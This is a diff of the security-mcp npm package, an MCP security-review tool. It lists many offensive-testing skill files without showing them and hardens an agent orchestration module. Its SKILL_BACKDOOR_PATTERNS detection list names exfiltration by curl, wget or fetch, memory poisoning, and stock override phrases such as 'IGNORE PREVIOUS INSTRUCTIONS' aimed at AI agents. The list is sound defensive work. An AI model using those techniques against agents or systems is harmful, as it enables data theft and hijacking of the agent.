security-mcp 1.1.4 → 1.3.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (158) hide show
  1. package/README.md +341 -1018
  2. package/defaults/checklists/ai.json +20 -1
  3. package/defaults/checklists/api.json +35 -1
  4. package/defaults/checklists/infra.json +34 -1
  5. package/defaults/checklists/mobile.json +23 -1
  6. package/defaults/checklists/payments.json +15 -1
  7. package/defaults/checklists/web.json +11 -1
  8. package/defaults/cloud-controls/aws.json +10712 -0
  9. package/defaults/cloud-controls/azure.json +7201 -0
  10. package/defaults/cloud-controls/gcp.json +4061 -0
  11. package/defaults/control-catalog.json +24 -0
  12. package/defaults/security-policy.json +2 -2
  13. package/dist/ci/pr-gate.js +22 -5
  14. package/dist/cli/index.js +73 -2
  15. package/dist/cli/install.js +4 -55
  16. package/dist/cli/onboarding.js +18 -10
  17. package/dist/gate/baseline.js +82 -7
  18. package/dist/gate/catalog.js +10 -2
  19. package/dist/gate/checks/agentic-instructions.js +515 -0
  20. package/dist/gate/checks/ai-governance.js +132 -0
  21. package/dist/gate/checks/ai.js +757 -39
  22. package/dist/gate/checks/auth-deep.js +920 -216
  23. package/dist/gate/checks/business-logic.js +751 -0
  24. package/dist/gate/checks/ci-pipeline.js +399 -4
  25. package/dist/gate/checks/cloud-controls.js +69 -0
  26. package/dist/gate/checks/crypto.js +423 -2
  27. package/dist/gate/checks/data-platform.js +954 -0
  28. package/dist/gate/checks/dependencies.js +582 -15
  29. package/dist/gate/checks/docker-deep.js +1236 -0
  30. package/dist/gate/checks/gitops.js +724 -0
  31. package/dist/gate/checks/graphql.js +201 -19
  32. package/dist/gate/checks/iac.js +1230 -0
  33. package/dist/gate/checks/infra.js +246 -1
  34. package/dist/gate/checks/injection-deep.js +827 -184
  35. package/dist/gate/checks/k8s.js +955 -2
  36. package/dist/gate/checks/mobile-android.js +917 -3
  37. package/dist/gate/checks/mobile-ios.js +797 -5
  38. package/dist/gate/checks/required-artifacts.js +194 -0
  39. package/dist/gate/checks/runtime.js +178 -0
  40. package/dist/gate/checks/secrets.js +256 -13
  41. package/dist/gate/checks/supply-chain-deep.js +787 -0
  42. package/dist/gate/checks/web-nextjs.js +572 -48
  43. package/dist/gate/cloud-controls/apply.js +115 -0
  44. package/dist/gate/cloud-controls/bicep.js +36 -0
  45. package/dist/gate/cloud-controls/cfn.js +125 -0
  46. package/dist/gate/cloud-controls/detect.js +104 -0
  47. package/dist/gate/cloud-controls/hcl.js +140 -0
  48. package/dist/gate/cloud-controls/types.js +87 -0
  49. package/dist/gate/diff.js +17 -5
  50. package/dist/gate/evidence.js +8 -1
  51. package/dist/gate/exceptions.js +202 -9
  52. package/dist/gate/findings.js +15 -2
  53. package/dist/gate/policy.js +316 -130
  54. package/dist/gate/threat-intel.js +6 -0
  55. package/dist/mcp/audit-chain.js +131 -28
  56. package/dist/mcp/auth.js +169 -0
  57. package/dist/mcp/learning.js +129 -4
  58. package/dist/mcp/model-router.js +161 -24
  59. package/dist/mcp/orchestration.js +377 -89
  60. package/dist/mcp/server.js +460 -69
  61. package/dist/mcp/tool-audit.js +193 -0
  62. package/dist/repo/fs.js +37 -1
  63. package/dist/repo/search.js +31 -6
  64. package/dist/review/store.js +56 -3
  65. package/dist/tests/run.js +124 -1
  66. package/package.json +9 -9
  67. package/skills/_TEMPLATE/SKILL.md +99 -0
  68. package/skills/advanced-dos-tester/SKILL.md +118 -0
  69. package/skills/agentic-instruction-auditor/SKILL.md +111 -0
  70. package/skills/agentic-loop-exploiter/SKILL.md +377 -0
  71. package/skills/ai-llm-redteam/SKILL.md +113 -0
  72. package/skills/ai-model-supply-chain-agent/SKILL.md +112 -0
  73. package/skills/algorithm-implementation-reviewer/SKILL.md +107 -0
  74. package/skills/android-penetration-tester/SKILL.md +464 -46
  75. package/skills/anti-replay-tester/SKILL.md +115 -0
  76. package/skills/appsec-code-auditor/SKILL.md +94 -0
  77. package/skills/artifact-integrity-analyst/SKILL.md +450 -0
  78. package/skills/attack-navigator/SKILL.md +476 -8
  79. package/skills/auth-session-hacker/SKILL.md +111 -0
  80. package/skills/aws-penetration-tester/SKILL.md +510 -0
  81. package/skills/azure-penetration-tester/SKILL.md +542 -3
  82. package/skills/binary-auth-validator/SKILL.md +120 -0
  83. package/skills/bot-detection-specialist/SKILL.md +118 -0
  84. package/skills/business-logic-attacker/SKILL.md +240 -0
  85. package/skills/capec-code-mapper/SKILL.md +93 -0
  86. package/skills/cert-pin-rotation-specialist/SKILL.md +121 -0
  87. package/skills/cicd-pipeline-hijacker/SKILL.md +414 -0
  88. package/skills/ciso-orchestrator/SKILL.md +465 -43
  89. package/skills/cloud-infra-specialist/SKILL.md +127 -0
  90. package/skills/compliance-gap-analyst/SKILL.md +431 -0
  91. package/skills/compliance-grc/SKILL.md +94 -0
  92. package/skills/compliance-lifecycle-tracker/SKILL.md +93 -0
  93. package/skills/container-hardening-auditor/SKILL.md +125 -0
  94. package/skills/credential-stuffing-specialist/SKILL.md +111 -0
  95. package/skills/crypto-pki-specialist/SKILL.md +96 -0
  96. package/skills/csa-ccm-mapper/SKILL.md +93 -0
  97. package/skills/csf2-governance-mapper/SKILL.md +93 -0
  98. package/skills/data-platform-auditor/SKILL.md +125 -0
  99. package/skills/deep-link-fuzzer/SKILL.md +118 -0
  100. package/skills/dependency-confusion-attacker/SKILL.md +424 -0
  101. package/skills/device-integrity-aggregator/SKILL.md +117 -0
  102. package/skills/dos-resilience-tester/SKILL.md +106 -0
  103. package/skills/dread-scorer/SKILL.md +93 -0
  104. package/skills/egress-policy-enforcer/SKILL.md +108 -0
  105. package/skills/evidence-collector/SKILL.md +107 -0
  106. package/skills/file-upload-attacker/SKILL.md +118 -0
  107. package/skills/gcp-penetration-tester/SKILL.md +510 -2
  108. package/skills/git-history-secret-scanner/SKILL.md +115 -0
  109. package/skills/gitops-delivery-auditor/SKILL.md +120 -0
  110. package/skills/iac-security-auditor/SKILL.md +125 -0
  111. package/skills/iam-privesc-graph-builder/SKILL.md +161 -0
  112. package/skills/incident-responder/SKILL.md +120 -0
  113. package/skills/injection-specialist/SKILL.md +111 -0
  114. package/skills/ios-security-auditor/SKILL.md +291 -0
  115. package/skills/json-ambiguity-tester/SKILL.md +145 -0
  116. package/skills/k8s-container-escaper/SKILL.md +406 -0
  117. package/skills/key-management-lifecycle-analyst/SKILL.md +107 -0
  118. package/skills/kill-switch-engineer/SKILL.md +111 -0
  119. package/skills/linddun-privacy-analyst/SKILL.md +111 -0
  120. package/skills/logic-race-fuzzer/SKILL.md +452 -0
  121. package/skills/mobile-api-network-attacker/SKILL.md +430 -0
  122. package/skills/mobile-binary-hardener/SKILL.md +111 -0
  123. package/skills/mobile-security-specialist/SKILL.md +94 -0
  124. package/skills/mobile-webview-auditor/SKILL.md +105 -0
  125. package/skills/model-extraction-attacker/SKILL.md +228 -0
  126. package/skills/multipart-abuse-tester/SKILL.md +93 -0
  127. package/skills/oauth-pkce-specialist/SKILL.md +113 -0
  128. package/skills/parser-exhaustion-tester/SKILL.md +151 -0
  129. package/skills/pentest-infra/SKILL.md +107 -0
  130. package/skills/pentest-social/SKILL.md +210 -0
  131. package/skills/pentest-team/SKILL.md +96 -0
  132. package/skills/pentest-web-api/SKILL.md +107 -0
  133. package/skills/privacy-flow-analyst/SKILL.md +243 -0
  134. package/skills/prompt-injection-specialist/SKILL.md +403 -0
  135. package/skills/quantum-migration-planner/SKILL.md +105 -0
  136. package/skills/rag-poisoning-specialist/SKILL.md +367 -0
  137. package/skills/registry-mirror-enforcer/SKILL.md +93 -0
  138. package/skills/rotation-validation-agent/SKILL.md +121 -0
  139. package/skills/samm-assessor/SKILL.md +94 -0
  140. package/skills/secrets-mask-bypass-tester/SKILL.md +109 -0
  141. package/skills/senior-security-engineer/SKILL.md +178 -0
  142. package/skills/serialization-memory-attacker/SKILL.md +341 -0
  143. package/skills/session-timeout-tester/SKILL.md +170 -0
  144. package/skills/slsa-level3-enforcer/SKILL.md +121 -0
  145. package/skills/slsa-provenance-enforcer/SKILL.md +111 -0
  146. package/skills/ssrf-detection-validator/SKILL.md +117 -0
  147. package/skills/step-up-auth-enforcer/SKILL.md +93 -0
  148. package/skills/stride-pasta-analyst/SKILL.md +429 -0
  149. package/skills/supply-chain-devsecops/SKILL.md +107 -0
  150. package/skills/threat-infrastructure-analyst/SKILL.md +93 -0
  151. package/skills/threat-modeler/SKILL.md +94 -0
  152. package/skills/tls-certificate-auditor/SKILL.md +582 -18
  153. package/skills/token-reuse-detector/SKILL.md +104 -0
  154. package/skills/trike-risk-modeler/SKILL.md +93 -0
  155. package/skills/unicode-homograph-tester/SKILL.md +93 -0
  156. package/skills/waf-rule-lifecycle-agent/SKILL.md +106 -0
  157. package/skills/webhook-security-tester/SKILL.md +111 -0
  158. package/skills/zero-trust-architect/SKILL.md +118 -0
@@ -12,14 +12,16 @@
12
12
  * 8. orchestration.apply_updates — run auto-update (auto | manual)
13
13
  * 9. orchestration.verify_skill_coverage — report uncovered SKILL.md sections
14
14
  */
15
- import { createHash } from "node:crypto";
15
+ import { createHash, randomBytes } from "node:crypto";
16
16
  import * as https from "node:https";
17
17
  import { mkdir, readFile, writeFile, readdir } from "node:fs/promises";
18
18
  import { existsSync, readFileSync, writeFileSync, renameSync, mkdirSync } from "node:fs";
19
19
  import { homedir } from "node:os";
20
- import { dirname, join } from "node:path";
20
+ import { dirname, join, resolve } from "node:path";
21
+ import { fileURLToPath } from "node:url";
21
22
  import { z } from "zod";
22
23
  import { updateReviewStep } from "../review/store.js";
24
+ import { getChain, verifyChain, computeFindingsHash } from "./audit-chain.js";
23
25
  // ---------------------------------------------------------------------------
24
26
  // Constants
25
27
  // ---------------------------------------------------------------------------
@@ -28,7 +30,18 @@ const MEMORY_DIR = join(homedir(), ".security-mcp", "agent-memory");
28
30
  const SKILL_VERSIONS_PATH = join(homedir(), ".security-mcp", "skill-versions.json");
29
31
  const SKILLS_MANIFEST_URL = "https://raw.githubusercontent.com/AbrahamOO/security-mcp/main/skills-manifest.json";
30
32
  const CLAUDE_SKILLS_DIR = join(homedir(), ".claude", "skills");
33
+ // Skills ship INSIDE the npm package (package.json `files` includes "skills/").
34
+ // The installed package is the consumer's trust root, so ensure_skill prefers the
35
+ // bundled copy over any network download — this closes the trust-on-first-use gap
36
+ // where a skill's integrity hash and its content both came from the same unsigned
37
+ // remote manifest over the same channel (a MITM/compromised host could serve both).
38
+ const BUNDLED_SKILLS_DIR = resolve(dirname(fileURLToPath(import.meta.url)), "../../skills");
39
+ // CWE-494: Pin the registry URL to the canonical npm registry. Never allow
40
+ // this to be overridden by env vars — a compromised env could redirect to a
41
+ // malicious registry.
31
42
  const NPM_REGISTRY_URL = "https://registry.npmjs.org/security-mcp/latest";
43
+ // Strict SemVer pattern — rejects any version string that doesn't conform.
44
+ const SEMVER_RE = /^\d{1,5}\.\d{1,5}\.\d{1,5}(?:-[\w.+]+)?$/;
32
45
  // CWE-22: input validation patterns for path components
33
46
  const SAFE_SKILL_NAME_RE = /^[a-zA-Z0-9][a-zA-Z0-9._-]{0,127}$/;
34
47
  const SAFE_AGENT_NAME_RE = /^[a-zA-Z0-9][a-zA-Z0-9._-]{0,127}$/;
@@ -39,18 +52,24 @@ const ALLOWED_SKILL_URL_PREFIX = "https://raw.githubusercontent.com/";
39
52
  const MAX_MANIFEST_BYTES = 256 * 1024; // 256 KB
40
53
  const MAX_SKILL_BYTES = 512 * 1024; // 512 KB
41
54
  const MAX_NPM_BYTES = 64 * 1024; // 64 KB
42
- // All SKILL.md sections that must be covered per run
55
+ // All SKILL.md sections that must be covered per run.
56
+ // §EDGE-CASE-MATRIX, §TEMPORAL-THREATS, §DETECTION-GAP, §ZERO-MISS-MANDATE are the
57
+ // four universal sections added to every skill; coverage verification tracks them too.
43
58
  const SKILL_MD_SECTIONS = [
44
59
  "§1", "§2", "§3", "§4", "§5", "§6", "§7", "§8",
45
60
  "§9", "§10", "§11", "§12", "§13", "§14", "§15",
46
61
  "§16", "§17", "§18", "§19", "§20", "§21", "§22",
47
- "§23", "§24"
62
+ "§23", "§24",
63
+ "§EDGE-CASE-MATRIX",
64
+ "§TEMPORAL-THREATS",
65
+ "§DETECTION-GAP",
66
+ "§ZERO-MISS-MANDATE"
48
67
  ];
49
68
  // ---------------------------------------------------------------------------
50
69
  // Internal helpers
51
70
  // ---------------------------------------------------------------------------
52
71
  async function ensureDir(p) {
53
- await mkdir(p, { recursive: true });
72
+ await mkdir(p, { recursive: true, mode: 0o700 });
54
73
  }
55
74
  function agentRunDir(agentRunId) {
56
75
  // CWE-22: agentRunId must be the 32-char hex digest produced by createAgentRun
@@ -68,7 +87,7 @@ async function readManifest(agentRunId) {
68
87
  }
69
88
  async function writeManifest(manifest) {
70
89
  manifest.updatedAt = new Date().toISOString();
71
- await writeFile(manifestPath(manifest.agentRunId), JSON.stringify(manifest, null, 2) + "\n", "utf-8");
90
+ await writeFile(manifestPath(manifest.agentRunId), JSON.stringify(manifest, null, 2) + "\n", { encoding: "utf-8", mode: 0o600 });
72
91
  }
73
92
  function defaultAgentRecord() {
74
93
  return {
@@ -198,8 +217,11 @@ export const CreateAgentRunSchema = z.object({
198
217
  });
199
218
  export async function createAgentRun(args) {
200
219
  const { runId, scope, internetPermitted, stackContext } = args;
220
+ // Use 16 bytes of CSPRNG entropy (not Date.now()) so the ID cannot be
221
+ // predicted or brute-forced even when runId is known.
201
222
  const agentRunId = createHash("sha256")
202
- .update(`${runId}:${Date.now()}`)
223
+ .update(`${runId}:`)
224
+ .update(randomBytes(16))
203
225
  .digest("hex")
204
226
  .slice(0, 32);
205
227
  await ensureDir(agentRunDir(agentRunId));
@@ -221,10 +243,12 @@ export async function createAgentRun(args) {
221
243
  // ---------------------------------------------------------------------------
222
244
  export const UpdateAgentStatusSchema = z.object({
223
245
  agentRunId: z.string().describe("Agent run ID from orchestration.create_agent_run."),
224
- agentName: z.string().describe("Name of the agent updating its status."),
246
+ // CWE-22: constrain agentName to the same safe-name pattern used in path operations
247
+ agentName: z.string().regex(SAFE_AGENT_NAME_RE, "agentName must be alphanumeric with ._- separators").describe("Name of the agent updating its status."),
225
248
  status: z.enum(["running", "completed", "completed_partial", "failed"]),
226
- findingsPath: z.string().optional().describe("Relative path to the agent findings JSON file."),
227
- summary: z.string().optional().describe("One-line outcome summary.")
249
+ // CWE-22: findingsPath is stored in the manifest and may later be used as a path — restrict to safe relative path
250
+ findingsPath: z.string().regex(/^[a-zA-Z0-9][\w./,-]{0,255}$/, "findingsPath must be a safe relative path").optional().describe("Relative path to the agent findings JSON file."),
251
+ summary: z.string().max(500).optional().describe("One-line outcome summary.")
228
252
  });
229
253
  export async function updateAgentStatus(args) {
230
254
  const { agentRunId, agentName, status, findingsPath, summary } = args;
@@ -267,6 +291,46 @@ export async function updateAgentStatus(args) {
267
291
  }
268
292
  // 3. merge_agent_findings
269
293
  // ---------------------------------------------------------------------------
294
+ // CWE-20 / inter-agent payload integrity: strict schema for an agent findings file.
295
+ // mergeAgentFindings is the single trust sink for an entire run, so every agent's
296
+ // file is schema-validated AND its findings hash is matched against that agent's
297
+ // signed attestation before any of it reaches the merged gate result.
298
+ const AgentFindingSchema = z.object({
299
+ id: z.string().min(1).max(128),
300
+ title: z.string().min(1).max(500),
301
+ severity: z.enum(["LOW", "MEDIUM", "HIGH", "CRITICAL"]),
302
+ cwe: z.string().max(64).optional(),
303
+ attackTechnique: z.string().max(128).optional(),
304
+ cvssV4: z.number().min(0).max(10).optional(),
305
+ exploitChain: z.array(z.string().max(1000)).max(100).optional(),
306
+ files: z.array(z.string().max(1024)).max(500).optional(),
307
+ evidence: z.array(z.string().max(4000)).max(200).optional(),
308
+ remediated: z.boolean(),
309
+ remediationSummary: z.string().max(4000).optional(),
310
+ requiredActions: z.array(z.string().max(2000)).max(200),
311
+ complianceImpact: z.object({
312
+ pciDss: z.array(z.string().max(128)).max(200).optional(),
313
+ soc2: z.array(z.string().max(128)).max(200).optional(),
314
+ nist80053: z.array(z.string().max(128)).max(200).optional(),
315
+ iso27001: z.array(z.string().max(128)).max(200).optional(),
316
+ gdpr: z.array(z.string().max(128)).max(200).optional(),
317
+ hipaa: z.array(z.string().max(128)).max(200).optional()
318
+ }).optional(),
319
+ beyondSkillMd: z.boolean().optional()
320
+ });
321
+ const AgentFindingsFileSchema = z.object({
322
+ agentName: z.string().regex(SAFE_AGENT_NAME_RE).optional(),
323
+ agentRunId: z.string().max(128).optional(),
324
+ completedAt: z.string().max(64).optional(),
325
+ internetUsed: z.boolean().optional(),
326
+ memoryUpdated: z.boolean().optional(),
327
+ skillMdSectionsCovered: z.array(z.string().max(64)).max(64).optional(),
328
+ beyondSkillMd: z.array(z.string().max(500)).max(200).optional(),
329
+ summary: z.string().max(4000).optional(),
330
+ findings: z.array(AgentFindingSchema).max(5000),
331
+ remediatedCount: z.number().optional(),
332
+ openCount: z.number().optional()
333
+ });
270
334
  export const MergeAgentFindingsSchema = z.object({
271
335
  agentRunId: z.string().describe("Agent run ID."),
272
336
  runId: z.string().uuid().describe("Review run ID — used to update the review step record.")
@@ -288,43 +352,129 @@ export async function mergeAgentFindings(args) {
288
352
  const agentsPartial = [];
289
353
  const sectionsSeen = new Set();
290
354
  const beyondSkillMdNotes = [];
355
+ // ── Inter-agent payload integrity (article surface #3) ───────────────────
356
+ // Verify the attestation chain and index each agent's attested findings hash.
357
+ // The chain is the source of truth for "did this agent really produce this
358
+ // output". If the chain itself is tampered, no attestation can be trusted.
359
+ const chainResult = await verifyChain(agentRunId);
360
+ const chain = await getChain(agentRunId);
361
+ const attestedHashByAgent = new Map();
362
+ for (const link of chain.links) {
363
+ if (link.agentName && link.agentName !== "genesis") {
364
+ attestedHashByAgent.set(link.agentName, link.findingsHash); // last attestation wins
365
+ }
366
+ }
367
+ const chainHasAttestations = attestedHashByAgent.size > 0;
368
+ const chainInvalid = chainHasAttestations && !chainResult.valid;
369
+ const verificationMode = chainInvalid ? "chain_invalid" : chainHasAttestations ? "enforced" : "unattested";
370
+ const attestedAgents = [];
371
+ const rejectedAgents = [];
372
+ let tamperDetected = chainInvalid;
373
+ // Read the manifest once (not per-file) for covered/partial classification.
374
+ const manifest = await readManifest(agentRunId);
291
375
  for (const file of files) {
376
+ let parsed;
377
+ let rawFindings;
378
+ let agentName;
292
379
  try {
293
380
  const raw = await readFile(join(dir, file), "utf-8");
294
- const parsed = JSON.parse(raw);
295
- allFindings.push(...parsed.findings);
296
- if (parsed.agentName) {
297
- const manifest = await readManifest(agentRunId);
298
- const rec = manifest.agents[parsed.agentName];
299
- if (rec?.status === "completed_partial") {
300
- agentsPartial.push(parsed.agentName);
301
- }
302
- else {
303
- agentsCovered.push(parsed.agentName);
304
- }
305
- }
306
- for (const s of (parsed.skillMdSectionsCovered ?? []))
307
- sectionsSeen.add(s);
308
- for (const n of (parsed.beyondSkillMd ?? []))
309
- beyondSkillMdNotes.push(n);
381
+ const rawObj = JSON.parse(raw);
382
+ // CWE-20: strict schema validation BEFORE the payload is trusted downstream.
383
+ parsed = AgentFindingsFileSchema.parse(rawObj);
384
+ // Hash the raw (pre-zod) findings so the digest matches exactly what the
385
+ // agent serialized when it called security.attest_agent.
386
+ rawFindings = (rawObj.findings ?? []);
387
+ agentName = parsed.agentName;
310
388
  }
311
389
  catch {
312
- // Corrupted file — skip, note partial
390
+ // Corrupted or schema-invalid file — skip, note partial.
313
391
  agentsPartial.push(file.replace(".json", ""));
392
+ continue;
393
+ }
394
+ // Reject anything we cannot cryptographically trust when attestations are in use.
395
+ const label = agentName ?? file.replace(".json", "");
396
+ if (verificationMode === "chain_invalid") {
397
+ rejectedAgents.push(`${label} (chain-invalid)`);
398
+ continue;
399
+ }
400
+ if (verificationMode === "enforced") {
401
+ const expected = agentName ? attestedHashByAgent.get(agentName) : undefined;
402
+ if (!expected) {
403
+ rejectedAgents.push(`${label} (unattested)`);
404
+ continue;
405
+ }
406
+ if (expected !== computeFindingsHash(rawFindings)) {
407
+ rejectedAgents.push(`${label} (hash-mismatch)`);
408
+ tamperDetected = true; // findings changed after the agent signed them
409
+ continue;
410
+ }
411
+ if (agentName)
412
+ attestedAgents.push(agentName);
314
413
  }
414
+ allFindings.push(...parsed.findings);
415
+ if (parsed.agentName) {
416
+ const rec = manifest.agents[parsed.agentName];
417
+ if (rec?.status === "completed_partial") {
418
+ agentsPartial.push(parsed.agentName);
419
+ }
420
+ else {
421
+ agentsCovered.push(parsed.agentName);
422
+ }
423
+ }
424
+ for (const s of (parsed.skillMdSectionsCovered ?? []))
425
+ sectionsSeen.add(s);
426
+ for (const n of (parsed.beyondSkillMd ?? []))
427
+ beyondSkillMdNotes.push(n);
315
428
  }
316
- // Deduplicate by id (first occurrence wins)
317
- const seen = new Set();
318
- const deduped = allFindings.filter((f) => {
319
- if (seen.has(f.id))
320
- return false;
321
- seen.add(f.id);
322
- return true;
323
- });
324
- // Sort: CRITICAL > HIGH > MEDIUM > LOW
429
+ // Deduplicate by id on collision keep the HIGHEST severity so a malicious or
430
+ // mislabeled low-severity finding cannot shadow a real CRITICAL that shares its id.
325
431
  const severityOrder = { CRITICAL: 0, HIGH: 1, MEDIUM: 2, LOW: 3 };
432
+ const byId = new Map();
433
+ for (const f of allFindings) {
434
+ const prev = byId.get(f.id);
435
+ if (!prev || (severityOrder[f.severity] ?? 3) < (severityOrder[prev.severity] ?? 3)) {
436
+ byId.set(f.id, f);
437
+ }
438
+ }
439
+ const deduped = Array.from(byId.values());
440
+ // Sort: CRITICAL > HIGH > MEDIUM > LOW
326
441
  deduped.sort((a, b) => (severityOrder[a.severity] ?? 3) - (severityOrder[b.severity] ?? 3));
327
442
  const uncoveredSections = SKILL_MD_SECTIONS.filter((s) => !sectionsSeen.has(s));
443
+ // Opt-in fail-closed enforcement. An UNSIGNED attestation chain is forgeable by
444
+ // anyone who can write the run directory (the chain hashes are SHA-256 over public
445
+ // data), so "enforced" mode only carries cryptographic weight when the chain is
446
+ // HMAC-signed. Operators who depend on inter-agent integrity set this flag; when
447
+ // set, the run must be signed + enforced + clean or the gate fails closed. Default
448
+ // off preserves backward-compatible behavior for runs that never attested.
449
+ const requireAttestation = ["1", "true", "yes"].includes((process.env.SECURITY_REQUIRE_AGENT_ATTESTATION ?? "").toLowerCase());
450
+ const chainSigned = Boolean(process.env.SECURITY_AUDIT_HMAC_KEY || process.env.SECURITY_POLICY_HMAC_KEY);
451
+ const attestationDeficient = requireAttestation &&
452
+ (verificationMode !== "enforced" || !chainResult.valid || !chainSigned || rejectedAgents.length > 0);
453
+ const warnings = [];
454
+ if (verificationMode === "unattested") {
455
+ warnings.push("No attestation chain present — agent findings were schema-validated but not cryptographically verified. Call security.init_chain + security.attest_agent per agent to enforce inter-agent payload integrity.");
456
+ }
457
+ if (chainInvalid) {
458
+ warnings.push(`Attestation chain failed verification (${chainResult.broken?.reason ?? "unknown"}). All agent findings rejected; gate forced to FAIL.`);
459
+ }
460
+ // Honest reporting: surface verifyChain's unsigned-chain caveat even on the success
461
+ // path so "enforced" is never silently equated with cryptographic guarantee.
462
+ if (chainResult.warning) {
463
+ warnings.push(chainResult.warning);
464
+ }
465
+ if (rejectedAgents.length > 0) {
466
+ warnings.push(`${rejectedAgents.length} agent finding file(s) rejected before merge: ${rejectedAgents.join(", ")}.`);
467
+ }
468
+ if (attestationDeficient) {
469
+ warnings.push("SECURITY_REQUIRE_AGENT_ATTESTATION is set but this run is not a signed + enforced + clean attestation — gate forced to FAIL.");
470
+ }
471
+ const signatureVerification = {
472
+ mode: verificationMode,
473
+ chainValid: chainResult.valid,
474
+ attestedAgents,
475
+ rejectedAgents,
476
+ ...(warnings.length > 0 ? { warning: warnings.join(" ") } : {})
477
+ };
328
478
  const merged = {
329
479
  agentRunId,
330
480
  runId,
@@ -338,15 +488,18 @@ export async function mergeAgentFindings(args) {
338
488
  low: deduped.filter((f) => f.severity === "LOW").length,
339
489
  skillMdSectionsCovered: Array.from(sectionsSeen),
340
490
  uncoveredSections,
341
- findings: deduped
491
+ findings: deduped,
492
+ signatureVerification
342
493
  };
343
494
  // Write merged-findings.json
344
495
  const mergedPath = join(dir, "merged-findings.json");
345
- await writeFile(mergedPath, JSON.stringify(merged, null, 2) + "\n", "utf-8");
346
- // Hook into existing attestation flow
496
+ await writeFile(mergedPath, JSON.stringify(merged, null, 2) + "\n", { encoding: "utf-8", mode: 0o600 });
497
+ // Hook into existing attestation flow. A tampered attestation chain or a
498
+ // findings-hash mismatch (tamperDetected) forces FAIL even with zero findings —
499
+ // a manipulated run must never produce a green gate.
347
500
  const hasCritical = merged.critical > 0;
348
501
  const hasHigh = merged.high > 0;
349
- const gateStatus = hasCritical || hasHigh ? "FAIL" : "PASS";
502
+ const gateStatus = tamperDetected || attestationDeficient || hasCritical || hasHigh ? "FAIL" : "PASS";
350
503
  await updateReviewStep(runId, "run_pr_gate", "completed", {
351
504
  source: "multi-agent-run",
352
505
  agentRunId,
@@ -358,12 +511,75 @@ export async function mergeAgentFindings(args) {
358
511
  medium: merged.medium,
359
512
  low: merged.low,
360
513
  uncoveredSkillMdSections: uncoveredSections,
514
+ signatureVerification,
361
515
  gateStatus
362
516
  });
363
517
  return merged;
364
518
  }
365
519
  // 4. ensure_skill
366
520
  // ---------------------------------------------------------------------------
521
+ // ---------------------------------------------------------------------------
522
+ // POC-7 fix: SKILL.md content sanitization
523
+ // ---------------------------------------------------------------------------
524
+ /**
525
+ * Patterns that indicate a backdoor or persistence mechanism in SKILL.md content.
526
+ * These are stripped (line removed) before the file is written to disk.
527
+ *
528
+ * Attack classes defended against:
529
+ * 1. Self-re-installation: instructions telling the agent to call ensure_skill
530
+ * on every invocation so a malicious version survives reinstallation.
531
+ * 2. Exfiltration beacons: instructions to POST/GET findings to external URLs.
532
+ * 3. Memory poisoning: instructions to write arbitrary false-positives entries.
533
+ * 4. System prompt override: attempts to redefine the agent's core instructions
534
+ * via embedded meta-prompt directives.
535
+ */
536
+ const SKILL_BACKDOOR_PATTERNS = [
537
+ // Re-installation / self-update triggers
538
+ /ensure_skill\s*\(/i,
539
+ /orchestration\.ensure_skill/i,
540
+ /on\s+every\s+(invocation|run|start)/i,
541
+ /at\s+the\s+(start|beginning)\s+of\s+every/i,
542
+ /auto.?update\s+this\s+skill/i,
543
+ // Exfiltration
544
+ /\bfetch\s*\(\s*["'`]https?:\/\/(?!raw\.githubusercontent\.com)/i,
545
+ /\bcurl\s+https?:\/\/(?!raw\.githubusercontent\.com)/i,
546
+ /\bwget\s+https?:\/\/(?!raw\.githubusercontent\.com)/i,
547
+ // Memory poisoning directives
548
+ /write_agent_memory.*false.?positive/i,
549
+ /add.*false.?positive.*finding/i,
550
+ // Meta-prompt takeover markers
551
+ /<\s*system\s*>/i,
552
+ /IGNORE\s+PREVIOUS\s+INSTRUCTIONS/i,
553
+ /IGNORE\s+ALL\s+PRIOR/i,
554
+ /DISREGARD\s+PREVIOUS/i,
555
+ ];
556
+ /**
557
+ * Sanitizes downloaded SKILL.md content by removing lines that match known
558
+ * backdoor / prompt-injection patterns. Throws if more than 10 % of lines are
559
+ * stripped (indicates the skill file itself may be malicious).
560
+ */
561
+ function sanitizeSkillContent(content, skillName) {
562
+ const lines = content.split("\n");
563
+ const stripped = [];
564
+ const clean = lines.filter((line, idx) => {
565
+ const isMalicious = SKILL_BACKDOOR_PATTERNS.some((re) => re.test(line));
566
+ if (isMalicious)
567
+ stripped.push(idx + 1);
568
+ return !isMalicious;
569
+ });
570
+ if (stripped.length > 0) {
571
+ console.warn(`[ensureSkill] Stripped ${stripped.length} suspicious line(s) from "${skillName}" SKILL.md ` +
572
+ `(lines: ${stripped.join(", ")}). Review the source file.`);
573
+ }
574
+ // If more than 10 % of lines were stripped, the file is likely malicious — refuse install.
575
+ const strippedFraction = stripped.length / Math.max(lines.length, 1);
576
+ if (strippedFraction > 0.10) {
577
+ throw new Error(`SKILL.md for "${skillName}" was rejected: ${stripped.length}/${lines.length} lines ` +
578
+ `matched backdoor patterns (>${Math.round(strippedFraction * 100)}% threshold). ` +
579
+ `Do not install this skill.`);
580
+ }
581
+ return clean.join("\n");
582
+ }
367
583
  export const EnsureSkillSchema = z.object({
368
584
  skillName: z.string().describe("Name of the skill to ensure is installed (e.g. 'threat-modeler')."),
369
585
  version: z.string().optional().describe("Required version; re-downloads if installed version differs.")
@@ -383,7 +599,22 @@ export async function ensureSkill(args) {
383
599
  if (alreadyCurrent) {
384
600
  return { downloaded: false, version: installed.version, path: skillPath };
385
601
  }
386
- // Fetch manifest
602
+ // TRUST ROOT: prefer the skill bundled inside the installed package over the network.
603
+ // No download, no manifest, no TOFU — the consumer already trusts the installed package.
604
+ const bundledPath = join(BUNDLED_SKILLS_DIR, skillName, "SKILL.md");
605
+ if (existsSync(bundledPath)) {
606
+ const sanitized = sanitizeSkillContent(readFileSync(bundledPath, "utf-8"), skillName);
607
+ mkdirSync(dirname(skillPath), { recursive: true, mode: 0o700 });
608
+ const tmp = `${skillPath}.tmp.${process.pid}`;
609
+ writeFileSync(tmp, sanitized, { encoding: "utf-8", mode: 0o600 });
610
+ renameSync(tmp, skillPath);
611
+ const bundledVersion = requiredVersion ?? "bundled";
612
+ versions[skillName] = { version: bundledVersion, installedAt: new Date().toISOString(), path: skillPath };
613
+ mkdirSync(dirname(SKILL_VERSIONS_PATH), { recursive: true, mode: 0o700 });
614
+ writeFileSync(SKILL_VERSIONS_PATH, JSON.stringify(versions, null, 2) + "\n", { encoding: "utf-8", mode: 0o600 });
615
+ return { downloaded: false, version: bundledVersion, path: skillPath };
616
+ }
617
